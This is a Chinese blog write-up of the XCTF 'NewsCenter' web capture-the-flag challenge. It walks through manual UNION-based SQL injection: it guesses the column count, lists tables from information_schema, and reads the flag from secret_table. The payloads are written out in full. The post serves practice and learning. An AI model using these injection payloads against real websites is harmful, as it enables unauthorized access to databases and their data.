XCTF Web 高手区007: NewsCenter

最新推荐文章于 2024-04-29 01:00:30 发布

Locking and Coding

最新推荐文章于 2024-04-29 01:00:30 发布

阅读量275

点赞数

分类专栏： CTF 文章标签： ctf web

本文链接：https://blog.csdn.net/weixin_44587962/article/details/105322254

版权

21 篇文章 1 订阅

订阅专栏

题目：
在这里插入图片描述

WP:
打开场景看到 search news的字样，只能输入进行操作
预测是一道SQL注入的题目
在这里插入图片描述

本题最直接的方法是sqlmap爆一下数据库
然而我对sqlmap的使用并不擅长
大家可以去看看这位大佬yangker12148的WP

我这里用的是简单的手动输入（原因很简单，近期在学数据库sql，就现学现用了）
输入 ' and 0 union select 1#进行字段长度的推测
在这里插入图片描述

' and 0 union select 1,2#

在这里插入图片描述

' and 0 union select 1,2,3 #

在这里插入图片描述
下面用

' and 0 union 
select 1,TABLE_SCHEMA,TABLE_NAME 
from INFORMATION_SCHEMA.COLUMNS #

查询库中所有表
在这里插入图片描述
secret_table?答案不在这还能在哪？
使用

' and 0 union select 1,column_name,data_type from 
information_schema.columns 
where table_name='secret_table'#

在这里插入图片描述
一个熟悉的身影：fl4g
直接查询

' and 0 union select 1,2,fl4g from secret_table #

在这里插入图片描述
成功

关注

专栏目录